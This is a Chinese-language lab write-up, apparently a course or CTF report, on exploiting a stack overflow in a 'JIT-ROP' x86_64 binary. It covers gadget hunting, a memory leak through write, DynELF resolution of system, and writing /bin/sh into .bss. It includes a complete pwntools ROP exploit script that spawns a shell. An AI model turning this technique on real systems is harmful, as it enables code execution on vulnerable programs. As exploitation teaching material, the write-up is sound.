Post

JIT-ROP

1 实验介绍

1.1 实验内容

  1. 分析给定的 ELF 文件, 找到漏洞利用点
  2. 使用 exp 脚本实现漏洞利用

1.2 环境

硬件: MacBook Air 2023 (ARM)

系统: macOS 13.6.2

虚拟环境: Ubuntu 18.04 (x86_64)

2 实验步骤

2.1 分析 ELF 文件

  1. 查看 ELF 文件类型

    image-20231115192821511

    可以看到可执行文件是运行在 x86_64 系统下的, 根据此信息配置环境

  2. 环境配置

    1. GDB - PEDA
      1
      2
      
       git clone https://github.com/longld/peda.git ~/peda
       echo "source ~/peda/peda.py" >> ~/.gdbinit
      
    2. Python 2
      1
      
       sudo apt install python2 python-pip
      
    3. pwntools

      1
      2
      
       python -m pip install --upgrade pip
       python -m pip install --upgrade pwntools
      
  3. 查看 ELF 文件开启的保护

    image-20231115192549200

    • 开启了 NX (No Execute) 栈执行保护, 因此无法执行堆栈上的代码, 考虑用 ROP (Return-Oriented Programming) 返回导向编程来实现漏洞利用

      ROP攻击通常发生在缓冲区溢出漏洞等漏洞中,攻击者通过控制程序的执行流程,将一系列已存在的代码片段(gadget)串联起来,以实现攻击目的。这些代码片段(gadget)通常是程序中的一段指令序列,例如一系列指令后以”ret”指令结尾,攻击者通过跳转到这些指令序列,利用它们来执行特定的操作,例如执行系统调用、修改内存中的数据等。

    • PIE (Position Independent Executable) 地址随机化关闭, 每次运行 .text 将被加载到相同位置

  4. 代码逻辑

    将整个文件使用 objdump 进行反汇编, 使用 Binary Ninja 进行反编译

    1. main 函数

      main 函数中首先在 sub rsp, 0x400 处开辟一个 1024 字节的堆栈, 接着用 write 函数向终端写入字符串 Welcome to RCTF. [rbp-0x400] 的位置是 buf 的开始位置, 也就是堆栈的最顶端

      x86_64 函数调用的参数传递使用寄存器进行, 前 6 个参数以从左到右保存在 rdi, rsi, rdx, rcx, r8d, r9d, 如果有更多参数则使用堆栈传递.

      image-20231116092059731

      image-20231116092503870

    2. echo 函数

      通过反编译的代码可以看出, 这个函数并没有对缓冲区 (var_18) 是否越界进行检查, 函数每次从 buf 中读出一个字符写入 var_18, 直到遇到 0 才会结束. 通过汇编代码可以看到 echo 的函数堆栈是 32 字节, 参数 arg1 放在 [rbp-0x18], var_18 从 [rbp-0x10] 开始, 也就是 16 字节. 这样如果输入的字符超过了 16字节, 就可以造成堆栈溢出, 覆盖掉原始 rbp 和返回地址.

      image-20231116093009846

      image-20231116093046570

      从下图可以看出 var_18 从[rbp-0x10] 开始

      image-20231116105435491

  5. 函数栈帧分析

    根据上述代码分析, 可以得出堆栈结构如下:

    image-20231116105706626

    要想进行 ROP, 必须找到合适的 gadget 来覆盖掉 echo 的返回地址, 然后通过这个 gadget 对任意内存进行泄露, 使得 pwntools 中的 DynELF 模块可以对泄露的内存进行分析, 进而寻找到 libc 中的 system 函数用以获取 shell.

  6. gadgets 寻找

    由于 echo 只会被调用一次, 但是每一次查找 system 都需要将 (write函数地址, 要泄露的地址, 打印的位置, 打印的字符数) 这 4 个参数进行传递, 我们只能利用堆栈溢出将这些参数写到栈上, 那么在调用 write 前一定需要 4 次连续的 pop 指令来将参数从栈上弹出到寄存器中. 使用 ROPgadget 寻找连续的 pop 指令, 在 0x40089c 的位置找到了合适的 gadgaet.

    image-20231116095443250

    将此地址附近的代码进行反汇编. 发现从 0x40088a 开始, 有连续 6 个 pop, 从 0x400880 开始, 存在一个调用 [r12+rbx*8](r15d, r14, r13), 这正好契合上面分析中, 泄露内存所需要的参数传递和调用.

    image-20231116100424624

2.2 EXP 构建

通过 2.1 中的分析, 我们可以得到漏洞利用的思路:

  • 通过找到的 gadget 实现对任意内存地址的泄露
  • DynELF 通过泄露的内存查找 system
  • 使用 read 将 /bin/sh 写入内存 (这里选择写到 .bss 段)
  • system 调用 /bin/sh
  1. 实现 leak 函数

    image-20231116103657444

    leak 函数构造一个 payload, 造成堆栈溢出, 并覆盖 echo 返回地址, 加入 write 函数的调用参数, 并最后返回 main 函数. 堆栈溢出前后的堆栈情况如下:

    image-20231116110653528

    当堆栈溢出后, echo 的返回地址被覆盖为四次 pop + ret 的地址, 执行后跳到六次 pop + ret 的地址, 将 6 个参数分别写入寄存器. 执行后 rbx = 0, rbp = 1, r12 = write_addr, r13 = 1024, r14 = address, r15 = 1. 最后函数跳到 0x400880 位置, 将 r13, r14, r15d 分别赋给 rdx, rsi, edi 中, 调用 r12+rbx*8 = r12 处的入口地址. 即 write(1, address, 1024) 泄露 1024 字节的内存.

    image-20231116111025522

  2. 寻找 system

    有了 leak 函数, 就可以通过 DynELF 模块找到哦 system 和 libc 的地址

    image-20231116111807117

  3. 写入 /bin/sh

    由于程序中并没有 /bin/sh 的地址, 因此需要自行写入. 继续用刚才的 gadget, 调用 read 函数将 /bin/sh 写入到内存中. 此处选择地址固定的 .bss 段. 通过 readelf 找到 .bss 的地址

    image-20231116112050108

    构造新的 payload:

    image-20231116112219663

    在 0x400880 的位置, 将会执行调用 read(0, bss_addr, 8) 从控制台向 bss_addr 处读取 8 字节. 最后通过 system(bss_addr)即 system("/bin/sh") 调用 shell.

  4. 完整程序

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    
     from pwn import *
        
     elf = ELF('./JIT-ROP')
        
     plt_write = elf.symbols['write']
     got_write = elf.got['write']
     got_read = elf.got['read']
        
     main_func = 0x4007cd
        
     gadget_p4 = 0x000000000040089c
     bss_addr = 0x0000000000601070
        
     def leak(address):
         payload = 'a'*24 + p64(0x40089C) + p64(0x40089A) \
                 + p64(0) + p64(1) \
                 + p64(got_write) + p64(1024) + p64(address) + p64(1)
         payload += p64(0x400880)
         payload += "\x00"*56
         payload += p64(0x4007cd)
         p.send(payload)
        
         data = p.recv(1024)
         whatrecv = p.recv(43)
         return data
        
     p = process('./JIT-ROP')
     start = p.recvuntil('\n')
     print('start:',start)
        
     d = DynELF(leak, elf=ELF('./JIT-ROP'))
     system_addr = d.lookup('system', 'libc')
     log.info("system_addr=" + hex(system_addr))
        
     payload = "a"*24 + p64(0x40089C) + p64(0x40089A) \
             + p64(0) + p64(1) \
             + p64(got_read) + p64(8) + p64(bss_addr) + p64(0)
     payload += p64(0x400880)
     payload += "\x00"*56
     payload += p64(0x4008a3)
     payload += p64(bss_addr)
     payload += p64(system_addr)
     p.send(payload)
     p.send("/bin/sh\x00")
        
     p.interactive()
    

2.3 测试

可以看到成功获取到 shell, 并能够执行相应命令

image-20231116112845244

This post is licensed under CC BY 4.0 by the author.